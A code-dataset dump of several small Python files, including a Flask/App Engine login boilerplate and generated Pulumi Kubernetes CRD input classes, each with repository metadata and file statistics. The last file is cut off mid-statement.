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true
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0.857143
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0
0
0
0
1
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4
5708f286815a6ecba86f03f75a1be1af27677fcc
118
py
Python
app/suorganizer/settings/__init__.py
yayunl/llfselfhelp
55994003ad51e1664a733c84ed6afcb9f28b6499
[ "MIT" ]
null
null
null
app/suorganizer/settings/__init__.py
yayunl/llfselfhelp
55994003ad51e1664a733c84ed6afcb9f28b6499
[ "MIT" ]
4
2021-04-08T21:37:08.000Z
2021-09-22T19:31:17.000Z
app/suorganizer/settings/__init__.py
yayunl/llfselfhelp
55994003ad51e1664a733c84ed6afcb9f28b6499
[ "MIT" ]
null
null
null
# from .base import * # # if os.environ.get('ENV') == 'prod': # from .prod import * # else: # from .dev import *
19.666667
37
0.559322
16
118
4.125
0.6875
0
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0
0
0
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0
0
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0.237288
118
6
38
19.666667
0.733333
0.898305
0
null
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null
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true
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0
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0
0
4
5713d07065902271a36858771810eeace6559a15
65
py
Python
thirdparty/stylegan2_ops/__init__.py
STomoya/animeface
37b3cd26097d7874559d4c152e41e5712b7a1a42
[ "MIT" ]
61
2020-06-06T08:25:09.000Z
2022-03-28T13:30:10.000Z
thirdparty/stylegan2_ops/ops/__init__.py
OrigamiXx/animeface
8724006df99ba7ef369e837d8294350ea733611b
[ "MIT" ]
13
2020-07-02T02:41:14.000Z
2021-05-09T14:24:58.000Z
thirdparty/stylegan2_ops/ops/__init__.py
OrigamiXx/animeface
8724006df99ba7ef369e837d8294350ea733611b
[ "MIT" ]
8
2020-10-03T18:51:16.000Z
2022-02-05T18:18:01.000Z
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
32.5
64
0.738462
9
65
5.444444
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0
0
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0.153846
65
1
65
65
0.8
0.938462
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4
572fccf599a331a3a00df08f4c8b5dc3e9b5ba1b
21
py
Python
orange3/Orange/canvas/scheme/tests/__init__.py
rgschmitz1/BioDepot-workflow-builder
f74d904eeaf91ec52ec9b703d9fb38e9064e5a66
[ "MIT" ]
54
2017-01-08T17:21:49.000Z
2021-11-02T08:46:07.000Z
orange3/Orange/canvas/scheme/tests/__init__.py
Synthia-3/BioDepot-workflow-builder
4ee93abe2d79465755e82a145af3b6a6e1e79fd4
[ "MIT" ]
22
2017-03-28T06:03:14.000Z
2021-07-28T05:43:55.000Z
orange3/Orange/canvas/scheme/tests/__init__.py
Synthia-3/BioDepot-workflow-builder
4ee93abe2d79465755e82a145af3b6a6e1e79fd4
[ "MIT" ]
21
2017-01-26T21:12:09.000Z
2022-01-31T21:34:59.000Z
""" Scheme tests """
5.25
12
0.52381
2
21
5.5
1
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0.190476
21
3
13
7
0.647059
0.571429
0
null
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null
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true
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1
0
0
0
0
0
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4
574ad48e4086240b783af5d89ae300d97e01f4bb
28
py
Python
Hello.py
pechimuthu369/pythonapp
7ce59d000afbecd13f72df6e7531cc5dd140638c
[ "MIT" ]
null
null
null
Hello.py
pechimuthu369/pythonapp
7ce59d000afbecd13f72df6e7531cc5dd140638c
[ "MIT" ]
null
null
null
Hello.py
pechimuthu369/pythonapp
7ce59d000afbecd13f72df6e7531cc5dd140638c
[ "MIT" ]
null
null
null
msg="Hello World" print(msg)
14
17
0.75
5
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4.2
0.8
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2
18
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0.807692
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4
9395117352a073e0bc7909ba2149bdf71b2d4671
232
py
Python
app/core/types.py
vladkoblynsky/fastapi_strawberry_test
dbc8bf8e8a8e38439bc96bae773be17f326f5727
[ "MIT" ]
null
null
null
app/core/types.py
vladkoblynsky/fastapi_strawberry_test
dbc8bf8e8a8e38439bc96bae773be17f326f5727
[ "MIT" ]
null
null
null
app/core/types.py
vladkoblynsky/fastapi_strawberry_test
dbc8bf8e8a8e38439bc96bae773be17f326f5727
[ "MIT" ]
null
null
null
import strawberry from typing import List from app.core.enums import ErrorCode @strawberry.type class ErrorType: code: ErrorCode message: str @strawberry.type class MutationWithErrorsResult: errors: List[ErrorType]
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1
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0
4
93a6d06d72eeb6d6ad75c30d2616dd7a6734ebc1
236
py
Python
vindauga/widgets/static_prompt.py
gabbpuy/vindauga
d4a51a618d60e83d82fd5fee585d08ff288484f3
[ "BSD-2-Clause" ]
5
2019-07-03T16:01:46.000Z
2021-12-22T10:01:04.000Z
vindauga/widgets/static_prompt.py
gabbpuy/vindauga
d4a51a618d60e83d82fd5fee585d08ff288484f3
[ "BSD-2-Clause" ]
null
null
null
vindauga/widgets/static_prompt.py
gabbpuy/vindauga
d4a51a618d60e83d82fd5fee585d08ff288484f3
[ "BSD-2-Clause" ]
1
2020-09-22T14:25:13.000Z
2020-09-22T14:25:13.000Z
# -*- coding: utf-8 -*- from vindauga.types.palette import Palette from .static_text import StaticText class StaticPrompt(StaticText): cpStaticPrompt = "\x09" def getPalette(self): return Palette(self.cpStaticPrompt)
21.454545
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236
10
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4
93e6bbced052fd85073a8bf5c2d63c05bf171821
147
py
Python
appname/helpers/__init__.py
Dnida/Ignite
38ac6042c9b16cdccf5ef066a1ee80b741b51a37
[ "BSD-2-Clause" ]
53
2017-12-12T06:58:25.000Z
2022-03-24T17:58:37.000Z
appname/helpers/__init__.py
Dnida/Ignite
38ac6042c9b16cdccf5ef066a1ee80b741b51a37
[ "BSD-2-Clause" ]
144
2018-01-22T15:15:41.000Z
2022-03-28T09:02:00.000Z
appname/helpers/__init__.py
Dnida/Ignite
38ac6042c9b16cdccf5ef066a1ee80b741b51a37
[ "BSD-2-Clause" ]
19
2017-12-12T07:04:14.000Z
2022-03-23T00:20:00.000Z
# Helpers encompass logic that doesn't belong in controllers or # in views. They are application specific and usually cannot be # directly reused.
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147
5.318182
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147
3
64
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4
9e046344e0caa1e67a6cd772c091e67003aeeb69
70
py
Python
querybuilder/tests/__init__.py
wesokes/django-query-builder
3cc53d33ee0a4ada515635e4be631167a774b457
[ "MIT" ]
110
2015-01-28T17:38:38.000Z
2022-02-17T02:51:55.000Z
querybuilder/tests/__init__.py
wesokes/django-query-builder
3cc53d33ee0a4ada515635e4be631167a774b457
[ "MIT" ]
31
2015-02-17T19:57:29.000Z
2021-08-30T03:44:55.000Z
querybuilder/tests/__init__.py
wesokes/django-query-builder
3cc53d33ee0a4ada515635e4be631167a774b457
[ "MIT" ]
33
2015-02-05T22:08:46.000Z
2021-12-06T08:12:49.000Z
default_app_config = 'querybuilder.tests.apps.QuerybuilderTestConfig'
35
69
0.871429
7
70
8.428571
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70
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0
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4
9e127b0efa73d27ff9f789a67bab2e76c34c1778
1,682
py
Python
main.py
JayShenoy/gae-boilerplate
b564abfba98578f8c3b74d8700abfb4ef99e74e1
[ "MIT" ]
null
null
null
main.py
JayShenoy/gae-boilerplate
b564abfba98578f8c3b74d8700abfb4ef99e74e1
[ "MIT" ]
null
null
null
main.py
JayShenoy/gae-boilerplate
b564abfba98578f8c3b74d8700abfb4ef99e74e1
[ "MIT" ]
null
null
null
from flask import Flask, render_template, request, url_for, redirect, make_response from flask.ext.login import LoginManager, current_user, login_user, logout_user, login_required import jinja2 import hashlib import random import string import os from google.appengine.ext import ndb app = Flask(__name__) app.secret_key = os.urandom(24).encode('hex') class User(ndb.Model): username = ndb.StringProperty() password = ndb.StringProperty() salt = ndb.StringProperty() def is_authenticated(self): return True def is_active(self): return True def is_anonymous(self): return False def get_id(self): return self.username def check_password_hash(self, form_password): m = hashlib.sha512() m.update(self.salt) m.update(form_password) return self.password == m.hexdigest() # Login management login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' def create_user(username, password): # Generate random salt salt = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for i in range(0, 15)) # Generate password hash m = hashlib.sha512() m.update(salt) m.update(password) password_hash = m.hexdigest() return User(username=username, password=password_hash, salt=salt) @login_manager.user_loader def load_user(userid): return User.query().filter(User.username == userid).get() @app.route('/') def home(): return render_template('index.html') @app.route('/login', methods=['GET', 'POST']) def login(): pass @app.route('/logout') @login_required def logout(): logout_user() return redirect(url_for('home')) @app.route('/register', methods=['GET', 'POST']) def register(): pass
22.426667
107
0.74673
235
1,682
5.191489
0.374468
0.032787
0.022951
0.027869
0.065574
0
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0.008125
0.121879
1,682
75
108
22.426667
0.817874
0.035672
0
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0
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0.036442
0
0
0
0
0
0
1
0.203704
false
0.185185
0.148148
0.111111
0.592593
0
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null
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1
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1
0
1
1
0
0
4
f537f54db02e28e1a0da1634f0ac69802c14828d
32
py
Python
component/wiser_home/__init__.py
arcanefoam/wiser-home-card
6b247b43e28f9601e1daa94cc9f7fcdf158abd54
[ "MIT" ]
2
2020-10-24T06:17:52.000Z
2020-10-24T06:19:17.000Z
component/wiser_home/__init__.py
arcanefoam/wiser-home-card
6b247b43e28f9601e1daa94cc9f7fcdf158abd54
[ "MIT" ]
3
2020-11-12T18:31:56.000Z
2020-12-03T17:27:32.000Z
component/wiser_home/__init__.py
arcanefoam/wiser-home-card
6b247b43e28f9601e1daa94cc9f7fcdf158abd54
[ "MIT" ]
null
null
null
"""The Wiser Home Component."""
16
31
0.65625
4
32
5.25
1
0
0
0
0
0
0
0
0
0
0
0
0.125
32
1
32
32
0.75
0.78125
0
null
0
null
0
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null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
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null
0
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0
0
0
1
0
0
0
0
0
0
4
f53fd1a11fb888ca02f206a367342cbe42a2db16
65,991
py
Python
operators/konveyor-operator/python/pulumi_pulumi_kubernetes_crds_operators_konveyor_operator/migration/v1alpha1/_inputs.py
pulumi/pulumi-kubernetes-crds
372c4c0182f6b899af82d6edaad521aa14f22150
[ "Apache-2.0" ]
null
null
null
operators/konveyor-operator/python/pulumi_pulumi_kubernetes_crds_operators_konveyor_operator/migration/v1alpha1/_inputs.py
pulumi/pulumi-kubernetes-crds
372c4c0182f6b899af82d6edaad521aa14f22150
[ "Apache-2.0" ]
2
2020-09-18T17:12:23.000Z
2020-12-30T19:40:56.000Z
operators/konveyor-operator/python/pulumi_pulumi_kubernetes_crds_operators_konveyor_operator/migration/v1alpha1/_inputs.py
pulumi/pulumi-kubernetes-crds
372c4c0182f6b899af82d6edaad521aa14f22150
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by crd2pulumi. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __all__ = [ 'MigAnalyticSpecArgs', 'MigAnalyticStatusArgs', 'MigAnalyticStatusAnalyticsArgs', 'MigAnalyticStatusAnalyticsNamespacesArgs', 'MigAnalyticStatusAnalyticsNamespacesExcludedK8SResourcesArgs', 'MigAnalyticStatusAnalyticsNamespacesImagesArgs', 'MigAnalyticStatusAnalyticsNamespacesIncompatibleK8SResourcesArgs', 'MigAnalyticStatusAnalyticsNamespacesK8sResourcesArgs', 'MigClusterSpecArgs', 'MigClusterSpecStorageClassesArgs', 'MigClusterStatusArgs', 'MigHookSpecArgs', 'MigHookStatusArgs', 'MigMigrationSpecArgs', 'MigMigrationStatusArgs', 'MigPlanSpecArgs', 'MigPlanSpecHooksArgs', 'MigPlanSpecPersistentVolumesArgs', 'MigPlanSpecPersistentVolumesPvcArgs', 'MigPlanSpecPersistentVolumesSelectionArgs', 'MigPlanSpecPersistentVolumesSupportedArgs', 'MigPlanStatusArgs', 'MigPlanStatusIncompatibleNamespacesArgs', 'MigPlanStatusIncompatibleNamespacesGvksArgs', 'MigStorageSpecArgs', 'MigStorageSpecBackupStorageConfigArgs', 'MigStorageSpecVolumeSnapshotConfigArgs', 'MigStorageStatusArgs', ] @pulumi.input_type class MigAnalyticSpecArgs: def __init__(__self__, *, analyze_image_count: pulumi.Input[bool], analyze_k8_s_resources: pulumi.Input[bool], analyze_pv_capacity: pulumi.Input[bool], mig_plan_ref: pulumi.Input[Mapping[str, Any]], list_images: Optional[pulumi.Input[bool]] = None, list_images_limit: Optional[pulumi.Input[int]] = None): pulumi.set(__self__, "analyze_image_count", analyze_image_count) pulumi.set(__self__, "analyze_k8_s_resources", analyze_k8_s_resources) pulumi.set(__self__, "analyze_pv_capacity", analyze_pv_capacity) pulumi.set(__self__, "mig_plan_ref", mig_plan_ref) if list_images is not None: pulumi.set(__self__, "list_images", list_images) if list_images_limit is not None: pulumi.set(__self__, "list_images_limit", list_images_limit) @property @pulumi.getter(name="analyzeImageCount") def analyze_image_count(self) -> pulumi.Input[bool]: return pulumi.get(self, "analyze_image_count") @analyze_image_count.setter def analyze_image_count(self, value: pulumi.Input[bool]): pulumi.set(self, "analyze_image_count", value) @property @pulumi.getter(name="analyzeK8SResources") def analyze_k8_s_resources(self) -> pulumi.Input[bool]: return pulumi.get(self, "analyze_k8_s_resources") @analyze_k8_s_resources.setter def analyze_k8_s_resources(self, value: pulumi.Input[bool]): pulumi.set(self, "analyze_k8_s_resources", value) @property @pulumi.getter(name="analyzePVCapacity") def analyze_pv_capacity(self) -> pulumi.Input[bool]: return pulumi.get(self, "analyze_pv_capacity") @analyze_pv_capacity.setter def analyze_pv_capacity(self, value: pulumi.Input[bool]): pulumi.set(self, "analyze_pv_capacity", value) @property @pulumi.getter(name="migPlanRef") def mig_plan_ref(self) -> pulumi.Input[Mapping[str, Any]]: return pulumi.get(self, "mig_plan_ref") @mig_plan_ref.setter def mig_plan_ref(self, value: pulumi.Input[Mapping[str, Any]]): pulumi.set(self, "mig_plan_ref", value) @property @pulumi.getter(name="listImages") def list_images(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "list_images") @list_images.setter def list_images(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "list_images", value) @property @pulumi.getter(name="listImagesLimit") def list_images_limit(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "list_images_limit") @list_images_limit.setter def list_images_limit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "list_images_limit", value) @pulumi.input_type class MigAnalyticStatusArgs: def __init__(__self__, *, analytics: Optional[pulumi.Input['MigAnalyticStatusAnalyticsArgs']] = None, observed_generation: Optional[pulumi.Input[int]] = None): if analytics is not None: pulumi.set(__self__, "analytics", analytics) if observed_generation is not None: pulumi.set(__self__, "observed_generation", observed_generation) @property @pulumi.getter def analytics(self) -> Optional[pulumi.Input['MigAnalyticStatusAnalyticsArgs']]: return pulumi.get(self, "analytics") @analytics.setter def analytics(self, value: Optional[pulumi.Input['MigAnalyticStatusAnalyticsArgs']]): pulumi.set(self, "analytics", value) @property @pulumi.getter(name="observedGeneration") def observed_generation(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "observed_generation") @observed_generation.setter def observed_generation(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "observed_generation", value) @pulumi.input_type class MigAnalyticStatusAnalyticsArgs: def __init__(__self__, *, excludedk8s_resource_total: pulumi.Input[int], image_count: pulumi.Input[int], image_size_total: pulumi.Input[str], incompatiblek8s_resource_total: pulumi.Input[int], k8s_resource_total: pulumi.Input[int], percent_complete: pulumi.Input[int], plan: pulumi.Input[str], pv_capacity: pulumi.Input[str], pv_count: pulumi.Input[int], namespaces: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesArgs']]]] = None): pulumi.set(__self__, "excludedk8s_resource_total", excludedk8s_resource_total) pulumi.set(__self__, "image_count", image_count) pulumi.set(__self__, "image_size_total", image_size_total) pulumi.set(__self__, "incompatiblek8s_resource_total", incompatiblek8s_resource_total) pulumi.set(__self__, "k8s_resource_total", k8s_resource_total) pulumi.set(__self__, "percent_complete", percent_complete) pulumi.set(__self__, "plan", plan) pulumi.set(__self__, "pv_capacity", pv_capacity) pulumi.set(__self__, "pv_count", pv_count) if namespaces is not None: pulumi.set(__self__, "namespaces", namespaces) @property @pulumi.getter(name="excludedk8sResourceTotal") def excludedk8s_resource_total(self) -> pulumi.Input[int]: return pulumi.get(self, "excludedk8s_resource_total") @excludedk8s_resource_total.setter def excludedk8s_resource_total(self, value: pulumi.Input[int]): pulumi.set(self, "excludedk8s_resource_total", value) @property @pulumi.getter(name="imageCount") def image_count(self) -> pulumi.Input[int]: return pulumi.get(self, "image_count") @image_count.setter def image_count(self, value: pulumi.Input[int]): pulumi.set(self, "image_count", value) @property @pulumi.getter(name="imageSizeTotal") def image_size_total(self) -> pulumi.Input[str]: return pulumi.get(self, "image_size_total") @image_size_total.setter def image_size_total(self, value: pulumi.Input[str]): pulumi.set(self, "image_size_total", value) @property @pulumi.getter(name="incompatiblek8sResourceTotal") def incompatiblek8s_resource_total(self) -> pulumi.Input[int]: return pulumi.get(self, "incompatiblek8s_resource_total") @incompatiblek8s_resource_total.setter def incompatiblek8s_resource_total(self, value: pulumi.Input[int]): pulumi.set(self, "incompatiblek8s_resource_total", value) @property @pulumi.getter(name="k8sResourceTotal") def k8s_resource_total(self) -> pulumi.Input[int]: return pulumi.get(self, "k8s_resource_total") @k8s_resource_total.setter def k8s_resource_total(self, value: pulumi.Input[int]): pulumi.set(self, "k8s_resource_total", value) @property @pulumi.getter(name="percentComplete") def percent_complete(self) -> pulumi.Input[int]: return pulumi.get(self, "percent_complete") @percent_complete.setter def percent_complete(self, value: pulumi.Input[int]): pulumi.set(self, "percent_complete", value) @property @pulumi.getter def plan(self) -> pulumi.Input[str]: return pulumi.get(self, "plan") @plan.setter def plan(self, value: pulumi.Input[str]): pulumi.set(self, "plan", value) @property @pulumi.getter(name="pvCapacity") def pv_capacity(self) -> pulumi.Input[str]: return pulumi.get(self, "pv_capacity") @pv_capacity.setter def pv_capacity(self, value: pulumi.Input[str]): pulumi.set(self, "pv_capacity", value) @property @pulumi.getter(name="pvCount") def pv_count(self) -> pulumi.Input[int]: return pulumi.get(self, "pv_count") @pv_count.setter def pv_count(self, value: pulumi.Input[int]): pulumi.set(self, "pv_count", value) @property @pulumi.getter def namespaces(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesArgs']]]]: return pulumi.get(self, "namespaces") @namespaces.setter def namespaces(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesArgs']]]]): pulumi.set(self, "namespaces", value) @pulumi.input_type class MigAnalyticStatusAnalyticsNamespacesArgs: def __init__(__self__, *, excluded_k8_s_resource_total: pulumi.Input[int], image_count: pulumi.Input[int], image_size_total: pulumi.Input[str], incompatible_k8_s_resource_total: pulumi.Input[int], k8s_resource_total: pulumi.Input[int], namespace: pulumi.Input[str], pv_capacity: pulumi.Input[str], pv_count: pulumi.Input[int], excluded_k8_s_resources: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesExcludedK8SResourcesArgs']]]] = None, images: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesImagesArgs']]]] = None, incompatible_k8_s_resources: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesIncompatibleK8SResourcesArgs']]]] = None, k8s_resources: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesK8sResourcesArgs']]]] = None): pulumi.set(__self__, "excluded_k8_s_resource_total", excluded_k8_s_resource_total) pulumi.set(__self__, "image_count", image_count) pulumi.set(__self__, "image_size_total", image_size_total) pulumi.set(__self__, "incompatible_k8_s_resource_total", incompatible_k8_s_resource_total) pulumi.set(__self__, "k8s_resource_total", k8s_resource_total) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "pv_capacity", pv_capacity) pulumi.set(__self__, "pv_count", pv_count) if excluded_k8_s_resources is not None: pulumi.set(__self__, "excluded_k8_s_resources", excluded_k8_s_resources) if images is not None: pulumi.set(__self__, "images", images) if incompatible_k8_s_resources is not None: pulumi.set(__self__, "incompatible_k8_s_resources", incompatible_k8_s_resources) if k8s_resources is not None: pulumi.set(__self__, "k8s_resources", k8s_resources) @property @pulumi.getter(name="excludedK8SResourceTotal") def excluded_k8_s_resource_total(self) -> pulumi.Input[int]: return pulumi.get(self, "excluded_k8_s_resource_total") @excluded_k8_s_resource_total.setter def excluded_k8_s_resource_total(self, value: pulumi.Input[int]): pulumi.set(self, "excluded_k8_s_resource_total", value) @property @pulumi.getter(name="imageCount") def image_count(self) -> pulumi.Input[int]: return pulumi.get(self, "image_count") @image_count.setter def image_count(self, value: pulumi.Input[int]): pulumi.set(self, "image_count", value) @property @pulumi.getter(name="imageSizeTotal") def image_size_total(self) -> pulumi.Input[str]: return pulumi.get(self, "image_size_total") @image_size_total.setter def image_size_total(self, value: pulumi.Input[str]): pulumi.set(self, "image_size_total", value) @property @pulumi.getter(name="incompatibleK8SResourceTotal") def incompatible_k8_s_resource_total(self) -> pulumi.Input[int]: return pulumi.get(self, "incompatible_k8_s_resource_total") @incompatible_k8_s_resource_total.setter def incompatible_k8_s_resource_total(self, value: pulumi.Input[int]): pulumi.set(self, "incompatible_k8_s_resource_total", value) @property @pulumi.getter(name="k8sResourceTotal") def k8s_resource_total(self) -> pulumi.Input[int]: return pulumi.get(self, "k8s_resource_total") @k8s_resource_total.setter def k8s_resource_total(self, value: pulumi.Input[int]): pulumi.set(self, "k8s_resource_total", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="pvCapacity") def pv_capacity(self) -> pulumi.Input[str]: return pulumi.get(self, "pv_capacity") @pv_capacity.setter def pv_capacity(self, value: pulumi.Input[str]): pulumi.set(self, "pv_capacity", value) @property @pulumi.getter(name="pvCount") def pv_count(self) -> pulumi.Input[int]: return pulumi.get(self, "pv_count") @pv_count.setter def pv_count(self, value: pulumi.Input[int]): pulumi.set(self, "pv_count", value) @property @pulumi.getter(name="excludedK8SResources") def excluded_k8_s_resources(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesExcludedK8SResourcesArgs']]]]: return pulumi.get(self, "excluded_k8_s_resources") @excluded_k8_s_resources.setter def excluded_k8_s_resources(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesExcludedK8SResourcesArgs']]]]): pulumi.set(self, "excluded_k8_s_resources", value) @property @pulumi.getter def images(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesImagesArgs']]]]: return pulumi.get(self, "images") @images.setter def images(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesImagesArgs']]]]): pulumi.set(self, "images", value) @property @pulumi.getter(name="incompatibleK8SResources") def incompatible_k8_s_resources(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesIncompatibleK8SResourcesArgs']]]]: return pulumi.get(self, "incompatible_k8_s_resources") @incompatible_k8_s_resources.setter def incompatible_k8_s_resources(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesIncompatibleK8SResourcesArgs']]]]): pulumi.set(self, "incompatible_k8_s_resources", value) @property @pulumi.getter(name="k8sResources") def k8s_resources(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesK8sResourcesArgs']]]]: return pulumi.get(self, "k8s_resources") @k8s_resources.setter def k8s_resources(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['MigAnalyticStatusAnalyticsNamespacesK8sResourcesArgs']]]]): pulumi.set(self, "k8s_resources", value) @pulumi.input_type class MigAnalyticStatusAnalyticsNamespacesExcludedK8SResourcesArgs: def __init__(__self__, *, count: pulumi.Input[int], group: pulumi.Input[str], kind: pulumi.Input[str], version: pulumi.Input[str]): pulumi.set(__self__, "count", count) pulumi.set(__self__, "group", group) pulumi.set(__self__, "kind", kind) pulumi.set(__self__, "version", version) @property @pulumi.getter def count(self) -> pulumi.Input[int]: return pulumi.get(self, "count") @count.setter def count(self, value: pulumi.Input[int]): pulumi.set(self, "count", value) @property @pulumi.getter def group(self) -> pulumi.Input[str]: return pulumi.get(self, "group") @group.setter def group(self, value: pulumi.Input[str]): pulumi.set(self, "group", value) @property @pulumi.getter def kind(self) -> pulumi.Input[str]: return pulumi.get(self, "kind") @kind.setter def kind(self, value: pulumi.Input[str]): pulumi.set(self, "kind", value) @property @pulumi.getter def version(self) -> pulumi.Input[str]: return pulumi.get(self, "version") @version.setter def version(self, value: pulumi.Input[str]): pulumi.set(self, "version", value) @pulumi.input_type class MigAnalyticStatusAnalyticsNamespacesImagesArgs: def __init__(__self__, *, name: pulumi.Input[str], reference: pulumi.Input[str], size: pulumi.Input[str]): pulumi.set(__self__, "name", name) pulumi.set(__self__, "reference", reference) pulumi.set(__self__, "size", size) @property @pulumi.getter def name(self) -> pulumi.Input[str]: return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def reference(self) -> pulumi.Input[str]: return pulumi.get(self, "reference") @reference.setter def reference(self, value: pulumi.Input[str]): pulumi.set(self, "reference", value) @property @pulumi.getter def size(self) -> pulumi.Input[str]: return pulumi.get(self, "size") @size.setter def size(self, value: pulumi.Input[str]): pulumi.set(self, "size", value) @pulumi.input_type class MigAnalyticStatusAnalyticsNamespacesIncompatibleK8SResourcesArgs: def __init__(__self__, *, count: pulumi.Input[int], group: pulumi.Input[str], kind: pulumi.Input[str], version: pulumi.Input[str]): pulumi.set(__self__, "count", count) pulumi.set(__self__, "group", group) pulumi.set(__self__, "kind", kind) pulumi.set(__self__, "version", version) @property @pulumi.getter def count(self) -> pulumi.Input[int]: return pulumi.get(self, "count") @count.setter def count(self, value: pulumi.Input[int]): pulumi.set(self, "count", value) @property @pulumi.getter def group(self) -> pulumi.Input[str]: return pulumi.get(self, "group") @group.setter def group(self, value: pulumi.Input[str]): pulumi.set(self, "group", value) @property @pulumi.getter def kind(self) -> pulumi.Input[str]: return pulumi.get(self, "kind") @kind.setter def kind(self, value: pulumi.Input[str]): pulumi.set(self, "kind", value) @property @pulumi.getter def version(self) -> pulumi.Input[str]: return pulumi.get(self, "version") @version.setter def version(self, value: pulumi.Input[str]): pulumi.set(self, "version", value) @pulumi.input_type class MigAnalyticStatusAnalyticsNamespacesK8sResourcesArgs: def __init__(__self__, *, count: pulumi.Input[int], group: pulumi.Input[str], kind: pulumi.Input[str], version: pulumi.Input[str]): pulumi.set(__self__, "count", count) pulumi.set(__self__, "group", group) pulumi.set(__self__, "kind", kind) pulumi.set(__self__, "version", version) @property @pulumi.getter def count(self) -> pulumi.Input[int]: return pulumi.get(self, "count") @count.setter def count(self, value: pulumi.Input[int]): pulumi.set(self, "count", value) @property @pulumi.getter def group(self) -> pulumi.Input[str]: return pulumi.get(self, "group") @group.setter def group(self, value: pulumi.Input[str]): pulumi.set(self, "group", value) @property @pulumi.getter def kind(self) -> pulumi.Input[str]: return pulumi.get(self, "kind") @kind.setter def kind(self, value: pulumi.Input[str]): pulumi.set(self, "kind", value) @property @pulumi.getter def version(self) -> pulumi.Input[str]: return pulumi.get(self, "version") @version.setter def version(self, value: pulumi.Input[str]): pulumi.set(self, "version", value) @pulumi.input_type class MigClusterSpecArgs: def __init__(__self__, *, is_host_cluster: pulumi.Input[bool], azure_resource_group: Optional[pulumi.Input[str]] = None, ca_bundle: Optional[pulumi.Input[str]] = None, insecure: Optional[pulumi.Input[bool]] = None, restart_restic: Optional[pulumi.Input[bool]] = None, service_account_secret_ref: Optional[pulumi.Input[Mapping[str, Any]]] = None, storage_classes: Optional[pulumi.Input[Sequence[pulumi.Input['MigClusterSpecStorageClassesArgs']]]] = None, url: Optional[pulumi.Input[str]] = None): pulumi.set(__self__, "is_host_cluster", is_host_cluster) if azure_resource_group is not None: pulumi.set(__self__, "azure_resource_group", azure_resource_group) if ca_bundle is not None: pulumi.set(__self__, "ca_bundle", ca_bundle) if insecure is not None: pulumi.set(__self__, "insecure", insecure) if restart_restic is not None: pulumi.set(__self__, "restart_restic", restart_restic) if service_account_secret_ref is not None: pulumi.set(__self__, "service_account_secret_ref", service_account_secret_ref) if storage_classes is not None: pulumi.set(__self__, "storage_classes", storage_classes) if url is not None: pulumi.set(__self__, "url", url) @property @pulumi.getter(name="isHostCluster") def is_host_cluster(self) -> pulumi.Input[bool]: return pulumi.get(self, "is_host_cluster") @is_host_cluster.setter def is_host_cluster(self, value: pulumi.Input[bool]): pulumi.set(self, "is_host_cluster", value) @property @pulumi.getter(name="azureResourceGroup") def azure_resource_group(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "azure_resource_group") @azure_resource_group.setter def azure_resource_group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "azure_resource_group", value) @property @pulumi.getter(name="caBundle") def ca_bundle(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "ca_bundle") @ca_bundle.setter def ca_bundle(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ca_bundle", value) @property @pulumi.getter def insecure(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "insecure") @insecure.setter def insecure(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "insecure", value) @property @pulumi.getter(name="restartRestic") def restart_restic(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "restart_restic") @restart_restic.setter def restart_restic(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "restart_restic", value) @property @pulumi.getter(name="serviceAccountSecretRef") def service_account_secret_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "service_account_secret_ref") @service_account_secret_ref.setter def service_account_secret_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "service_account_secret_ref", value) @property @pulumi.getter(name="storageClasses") def storage_classes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['MigClusterSpecStorageClassesArgs']]]]: return pulumi.get(self, 